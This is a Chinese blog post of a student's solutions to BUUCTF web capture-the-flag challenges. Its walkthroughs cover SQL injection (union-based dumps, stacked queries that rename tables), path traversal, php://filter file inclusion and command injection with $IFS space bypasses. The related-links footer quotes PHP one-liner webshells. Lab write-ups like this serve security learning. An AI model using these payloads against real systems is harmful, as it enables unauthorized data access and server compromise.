buuctf

最新推荐文章于 2023-11-25 16:57:05 发布
最新推荐文章于 2023-11-25 16:57:05 发布
阅读量191 收藏
点赞数
文章标签： php 服务器 开发语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_63676207/article/details/127835896
版权

系列文章目录

提示：这里可以添加系列文章的所有文章的目录，目录需要自己手动添加

提示：写完文章后，目录可以自动生成，如何生成可参考右边的帮助文档

@TOC

前言

提示：这里可以添加本文要记录的大概内容：

菜鸡的笔记

提示：以下是本篇文章正文内容，下面案例可供参考

一、知识点

示例：等俺刷完再写

二、做题解析

[极客大挑战 2019]EasySQL 1

在这里插入图片描述 点击后是此页面尝试万能密码后 在这里插入图片描述

flag{d998af85-ff56-4947-ad6b-aab85e8a426e}

[HCTF 2018]WarmUp 1

在这里插入图片描述 查看源码 在这里插入图片描述 后发现source.php文件访问一下

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
​
            if (in_array($page, $whitelist)) {
                return true;
            }
​
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
​
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
​
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

发现 在这里插入图片描述 接着打开此网页查看 在这里插入图片描述 得到提升flag在ffffllllaaaagggg目录中我们需要绕过将其打开 接着开始审计代码 在这里插入图片描述 $_REQUEST 传参为全局变量 empty 判断传参是否为空 is_string 检查是否为字符串 和上面哪个函数

    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) { 判断是否为空是否是字符串
                echo "you can't see it";
                return false;
            }  这个if语句正常逃逸
​
            if (in_array($page, $whitelist)) {  字符串查找
                return true;
            }   这个返回值为真即在此处结束即可
​
            $_page = mb_substr(   函数返回字符串的一部分
                $page,
                0,
                mb_strpos($page . '?', '?')返回要查找的字符串在别一个字符串中首次出现的位置
            );这一分是返回$page起始到第二个？的内容
            if (in_array($_page, $whitelist)) {接着查找
                return true;
            }  
​
            $_page = urldecode($page);  解码 URL 字符串函数
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) { 同上
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
​

在这里插入图片描述在这里插入图片描述 看关键函数返回ture 后执行 include函数（这个在C中解释是预编译）他会执行$file的传参 然后我们进行查找ffffllllaaaagggg所在函数 命令：/?file=source.php?../../../../ffffllllaaaagggg ①尝试 ../../ (../是返回上一目录) 在这里插入图片描述 进行N次尝试后 在 /?file=source.php?../../../../../ffffllllaaaagggg 在这里插入图片描述 得出flag{42237a1c-465b-4d2d-ba08-4f109a6108ed}

[极客大挑战 2019]Havefun 1

打开靶场 在这里插入图片描述 一直喵星人？？？

       <!--
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
        -->

查看源代码后发现一段代码 根据代码提示请求后 /?cat=dog 在这里插入图片描述 得出 flag{68201e55-d596-4925-af0f-fc1dc6bcc748}

[ACTF2020 新生赛]Include 1

在这里插入图片描述 点开环境是一个跳转接着点 在这里插入图片描述 查看源码也是啥都没有抓包后也是没有收获于是想到可能是文件包含的题用filter 协议

点击此处有相关介绍 file=php://filter/read=convert.base64-encode/resource=flag.php 在这里插入图片描述 读取后进行base64解密即可 flag{680b0071-ebfa-4c01-9589-0f443ed47ebe}

[ACTF2020 新生赛]Exec 1

点开环境是一个ping

在这里插入图片描述 输入127.0.0.1本机ip发现有回响接着输入 & 符进行后续输入 在这里插入图片描述 发现可以打开接着进行不断查找flag所在位置 cd 打开位置 ls 列出当前目录 ../ 返回上一级 在这里插入图片描述 打开该文件 cat 打开文件 在这里插入图片描述 得出flag{c6c89bab-5179-4bca-a09f-9f841d0a7eec}

[强网杯 2019]随便注 1

此题我做了好久这题做法不一姿势很多很骚 打开环境后尝试万能密码有回响 ####### 首先查询基本内容 在这里插入图片描述 接着注入查看列库表的一些基本内容 1';order by 3;#

在这里插入图片描述 查列发现有三列 1';show tables;# 在这里插入图片描述 查表发现有两个表

1';show tables;# 在这里插入图片描述

1';select database;# 在这里插入图片描述

🆗大致内容了解在当前 hahahah数据库中有两个表和禁用掉的相关函数 ####### 接着查询两个已知的数据表 1'; show columns from 1919810931114514;# 在这里插入图片描述 发现flag 但由上面可得select函数被禁用无法查看 11'; show columns from words;# 在这里插入图片描述 查询第二个表 ####### 由以上内容进行姿势绕过 ####### 法① 一直当输入万能密码时该数据库的id字段会爆出来 在这里插入图片描述

       so如果我们将flag的列名换成id这样就可以爆出来
        需要先将words的表名换了再换列名
1';rename table words to B;
rename table `1919810931114514` to words;
alter table `words` change `flag` `id` varchar(100);#
varchar(100);原id是int型而现在的是char进行改变

在这里插入图片描述 输入后无报错即已成功将SQL语句插入其中

在这里插入图片描述 万能密码爆出flag{98f25409-1314-4bce-907e-79a464913fec}

####### 法② 通过绕过select 函数检测来读取flag 怎么绕过呢常见的绕过大小写 双写 拼接 而这个题就是可以采用拼接和大小写绕过检测 concat拼接函数然后再来个预编译试试

·1';set @sql=concat('se','lect * from  `1919810931114514`;');prepare qw from @sql;execute qw;#  
先于编译然后再使用

在这里插入图片描述 发现抱错set 通过判断可以尝试大小写绕过

在这里插入图片描述

得出flag{8999abac-75f4-4f99-9350-a6d8a01f59b8}

[SUCTF 2019]EasySQL 1

简单注入真滴简单死了反正我是噶了 在这里插入图片描述 打开输入1然后爆出一些东东接着联合查询啥的发现都不能用但是还能爆出一些基本信息

在这里插入图片描述 但是也没有多大鸟用最后还是看大佬的WP做的 通过大佬可知 源码可能为：select $_POST[‘query’] || flag from Flag 有源码可得： 当输入的值为 *,1 时语句为 select *,1 || flag from Flag => select *,1 from Flag 此处1是指新增一列而 *是所有 即查出所有 在这里插入图片描述 还有一种做法是将 || 入手将其从逻辑符变成连接符 即更改其SQL配置将其改为连接符 set sql_mode=PIPES_AS_CONCAT 即姿势诞生 1;set sql_mode=PIPES_AS_CONCAT;select 1 更改配置后重新查询一下即可 在这里插入图片描述 flag{687061d4-d5e0-4bb0-ae5e-4d759fcce69e}

[GXYCTF2019]Ping Ping Ping 1

在这里插入图片描述 打开后正常ping一下测试 然后进行其他尝试由于到打游戏的时间了此题长话短说总之呢你会发现他吧 空格符号禁用了还禁用了flag的每个字符

$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09

上面可以替代空格的 然后接下来 /?ip=127.0.0.1|l列一下当前目录 在这里插入图片描述 然后尝试打开flag结果打不开所以打开另一个文件/?ip=127.0.0.1;cat$IFS$1index.php 在这里插入图片描述 发现过滤的东西，但是有个 $a变量可以进行参数覆盖

?ip=127.0.0.1;a=f;tac$IFS$1$alag.php    过滤
?ip=127.0.0.1;a=l;tac$IFS$1f$aag.php    没flag
?ip=127.0.0.1;a=a;tac$IFS$1fl$ag.php    过滤
?ip=127.0.0.1;a=g;tac$IFS$1fla$a.php    有flag
?ip=127.0.0.1;a=fl;b=ag;tac$IFS$1$a$b.php 过滤
?ip=127.0.0.1;b=ag;a=fl;tac$IFS$1$a$b.php 有flag
时间紧急这一段是复制别人的（可用）

此题还能进行 在这里插入图片描述 这一段也是复制别人的没有亲自测试（未知）

这题还可以 在这里插入图片描述

?ip=127.0.0.1;cat$IFS`ls`    内敛执行
?ip=127.0.0.1;cat$IFS$3`ls`  即将ls以参数的形式在cat中执行
?ip=127.0.0.1;cat$IFS$9`ls`  注意ls是用`` 包裹的即英文的波浪号
?ip=127.0.0.1|cat$IFS$9`ls`  tac 与 cat 显示在前后的差别

[极客大挑战 2019]Secret File 1

在这里插入图片描述在这里插入图片描述

发现隐藏文件打开后 在这里插入图片描述 点击后发现直接结束了 在这里插入图片描述 怎么办抓个包试试 在这里插入图片描述 在抓包回显时发现隐藏文件打开文件

<?php
    highlight_file(__FILE__);
    error_reporting(0);  显示报错的函数
    $file=$_GET['file'];  GET传参
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";当if语句不成立后执行include函数
        exit();       strstr() 函数搜索字符串在另一字符串中的第一次出现
    }
    include($file); 
//flag放在了flag.php里
?>

发现一串代码审计进行分析发现最下面表示答案就在 flag.php打开看看 在这里插入图片描述 发现就在里面可是看不到猜测文件包含用一下data也被🈲了用伪协议base的形式输出 file=php://filter/read=convert.base64-encode/resource=flag.php 在这里插入图片描述 发现隐藏东东 在这里插入图片描述 解密 在这里插入图片描述 flag{db1b9ae8-1dd8-4880-808c-9d37dc2c98ce}

[极客大挑战 2019]LoveSQL 1

点击打开后尝试万能密码

1' or 1=1#

在这里插入图片描述 有注入但内容经过一系列百度解密发现没有卵用，回到登陆页面查列表

1' order by 3#  没有报错

在这里插入图片描述

1' order by 4# 有报错

在这里插入图片描述 得出此库有三列接着查表查库查字段

1' union select 1,2,3#   已知是三列所以是 1 2 3

在这里插入图片描述 查当前库版本

1' union select 2,database(),version()# 字段那个1 2 3写那个都行

在这里插入图片描述 得到库进行爆库表 1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

1' union select 1,database(),group_concat(table_name) from 
#     字段           当前库    结果连接起来一行输出
information_schema.tables where table_schema=database()#
 数据库中的默认 .后 里面是所有 .后 名    在当前库查

在这里插入图片描述 查询发现两个表名进行爆字段处理 1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#

1' union select 1,database(),group_concat(column_name) from 
		查列			库		 连接一行输出
information_schema.columns where table_name='l0ve1ysq1'#
 获取所有列信息

在这里插入图片描述 1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='geekuser'# 在这里插入图片描述

1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1 #

1' union select 1,database(),group_concat(id,username,password)
	查列			库			一行输出
from  l0ve1ysq1 
		表名

得出flag{0f7f8f7b-e492-4e26-94e0-7f6f5701e9c1} 在这里插入图片描述 经查询另一个表是没有flag的 在这里插入图片描述

[极客大挑战 2019]Knife 1

在这里插入图片描述

这题就比较简单他是暗示 菜刀 ？？？正经人喜欢用蚁剑的不懂的可以百度一下 直接连接 在这里插入图片描述 连接成功真是白给 在这里插入图片描述 在根目录得到flag{87809b1c-7820-4bef-969d-fe879b42b685}

[极客大挑战 2019]Http 1

在这里插入图片描述 打开后很迷糊看看源代码 在这里插入图片描述 找到一个隐藏路径 在这里插入图片描述

给出提示你需要以https://www.Sycsecret.com网址打开我们通过抓包方式进行伪造 Referer 服务器伪造原理

在这里插入图片描述 回响提示需要浏览器了 在这里插入图片描述 回响显示需要在本机访问即伪造ip X-Forwarded-For  X-Forwarded-For 概念用法

在这里插入图片描述 得出flag{aeea856c-ed33-4b4b-8853-a0b5dcf0da21} 在这里插入图片描述在这里插入图片描述 注意放置位置与格式

[极客大挑战 2019]Upload 1

在这里插入图片描述 一个比较标准的文件上传

提示：这里对文章进行总结：

TIMI

k5ha
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
[极客大挑战 2019]Upload 1(文件上传)
weixin_45253573的博客
12-08 1万+
打开环境是一个上传图片的页面。 先上传一句话木马试试，这里格式直接不变，先上传看看。 <?php eval($_POST['b'])?> <?php $_GET['a']($_POST['b'])?> 提示说不是图片，需要抓包改文件格式。将Content-Type里面的格式改为image/jpeg 绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht 前几个php格式的一句话都被b了，比如php3 将文件格式改到phtml可以了，但带<?的一句话
BUUCTF
Q221022的博客
02-12 1239
1.old-fashion 直接用quiqiup解密即可得到flag 2.世上无难事 看到答案是32位，我就想到了MD5，然后用MD5解密，不对，不是MD5，所以就用quipqiup试试，key就出来了 3.RSA3 题上有两组c和e，只有一个n，（所以猜测这两组应该用的是同一个n）将n分解成p和q（不知道为什么，我用了三个网站都没分解出来，是因为数字太大吗？）然后，就可以求出私钥d，进而解密出m ，得到答案 4.RSA2 dp=d mod （p-1） 我认为..
[BUUCTF]-[强网杯 2019]随便注
yzl_007的博客
09-04 166
[BUUCTF]-[强网杯 2019]随便注 打开题目后 简单测试一下，发现已经禁止了select|update|delete|drop|insert|where一些命令，select被禁用，无法查看数据库 尝试堆叠注入 0’;show databases;# 得到数据库名，然后查表名 1’;show tables;# 查看表中字段 1’;show columns from 1919810931114514;# 此时还是需要select才能查询到，可以将select * from 19198109
BUUCTF——[极客大挑战 2019]Upload 1
热门推荐
weixin_45864041的博客
09-26 1万+
文件上传漏洞，我们先写一句话木马，试着上传。 我们用shell.phtml的文件名直接上传，可以看到有一个前端检查，对文件后缀进行检查。接下来，我们将文件名改成shell.jpg进行上传。 然后又上传失败了，应该是在后端也对我们的文件内容进行了检测。接下来我们试着用文件幻术头的方式进行绕过。 在这里我试了jpg的文件头，但是还是失败了（也不知道为啥） 。最后用gif的文件头成功上传。 说明我们成功绕过了检测然后，我们重新上传，进行抓包，将文件后缀名改成phtml。 上传成功之后，没有给我们具体的存储.
(文件上传upload) [极客大挑战 2019]Upload1 和 [ACTF2020新生赛]Upload1
一醉一休的博客
02-23 9713
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录 前言 一、pandas是什么？ 二、使用步骤 1.引入库 2.读入数据 总结 前言 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马，病毒，恶意脚本或者WebShell等。 由于程序员在对用户文件上传部分的控制不足或者处理缺陷，而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件。 一、[极客大挑战 2019]Upload1 ...
BUUCTF——[极客大挑战2019]Upload-1
weixin_62248541的博客
11-25 529
BUUCTF-[极客大挑战2019]Upload-1
BUUCTF题目（含工具），你竟然赶我走、乌镇峰会种图、你竟然赶我走、大白、（超级详细）“小白”入坑CTF，先入手杂项部分
最新发布
04-09
BUUCTF题目（含工具），你竟然赶我走、乌镇峰会种图、你竟然赶我走、大白、（超级详细）“小白”入坑CTF，先入手杂项部分
BUUCTF逆向前八题
01-24
在本篇中，我们将探讨在BUUCTF储备赛中遇到的前八道逆向题目，通过这些题目来学习如何使用逆向工具，如exeinfo和IDA，以及如何解析汇编代码以获取关键信息。 1. Easyre： 这道题首先使用exeinfo查看文件信息，确认...
1ncrd#Study-Record#BUUCTF[第二章 web进阶]XSS闯关1.md
08-10
一些关于xss的payload
BUUCTF详细解析，你竟然赶我走、乌镇峰会种图、你竟然赶我走、大白、（超级详细）“小白”入坑CTF，先入手杂项部分
04-09
BUUCTF详细解析，你竟然赶我走、乌镇峰会种图、你竟然赶我走、大白、（超级详细）“小白”入坑CTF，先入手杂项部分，
[极客大挑战 2019]Upload 1
qq_43618536的博客
07-02 777
BUUCTF的[极客大挑战 2019]Upload 1
文件上传 [极客大挑战 2019]Upload 1
m0_75178803的博客
10-11 1026
上传失败了，应该是在后端也对我们的文件内容进行了检测，检测到我们的一句话木马里面包含
【BUUCTF]极客大挑战 2019Upload1 write up
GZWZ_的博客
04-23 885
文件上传冲啊！！！！！！
【BUUCTF】[极客大挑战 2019]Upload1
aoao331198的博客
03-13 977
试着上传一个一句话木马的.jpg文件 <?phpeval($_GET['abc']); ?> 看样子是不能用php，必须换一种语言 仅仅更改文件后缀不能完全绕过，这里使用GIF89a头文件欺骗 GIF89a图片头文件欺骗 上传成功了，接下来我们在BP中上传，截获数据包，并且把 ...
BUUFCTF—[极客大挑战 2019]Upload 1
越努力 越自由
05-12 1135
上传图片1.png成功，上传1.php失败，1.pngs成功，说明是黑名单过滤。
[极客大挑战 2019]Upload
siu~
09-07 1096
[极客大挑战 2019]Upload 解题
BUUCTF-[极客大挑战 2019]Upload1
Monica的博客
09-14 1960
题目： 分析： 一个文件上传漏洞 上传一个1.php文件内容为：<?php eval($_POST[1]);?> 发现报错。 查看源代码，没有关于过滤的代码，说明是后端进行的过滤。 bp抓包：修改MIME 报错说不能是php文件、绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht 发现只要phtml文件可以使用，修改后缀为phtml phtml一般是指嵌入了php代码的html文件，但是同样也会作为php解析 PHT文件是一个HTM.
buuctf wireshark
09-12
根据您提供的引用内容，buuctf wireshark 是一个与buuctf比赛相关的题目。其中，Wireshark 是一个网络封包分析软件，可以用来捕获和分析网络数据包。根据[1]中提供的下载地址，可以下载 Wireshark 软件进行使用。 在buuctf wireshark题目中，黑客通过使用Wireshark抓到了管理员登陆网站时的一段流量包，并将其中的密码作为flag。解题思路是使用Wireshark打开下载的文件，然后根据题目提示，在流量包中找到管理员登陆网站时的请求，该请求方式为POST类型，可以通过过滤条件 `http.request.method==POST` 来筛选出该请求。在该请求中，可以找到管理员的密码，作为flag提交。 不过，需要注意的是，获取到的flag需要加上 `flag{}` 并进行提交。 此外，根据中的提到的方法，您也可以直接将下载的图片文件扔到WinHex中进行查看，以便寻找是否存在flag。但是，请注意在buuctf wireshark题目中的具体解题思路仍然是通过Wireshark分析流量包。 总结起来，对于buuctf wireshark题目，您需要下载Wireshark软件，打开下载的文件，并根据题目提示找到管理员登陆网站时的流量包，从中获取管理员的密码作为flag，最后在提交flag时记得加上 `flag{}`。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值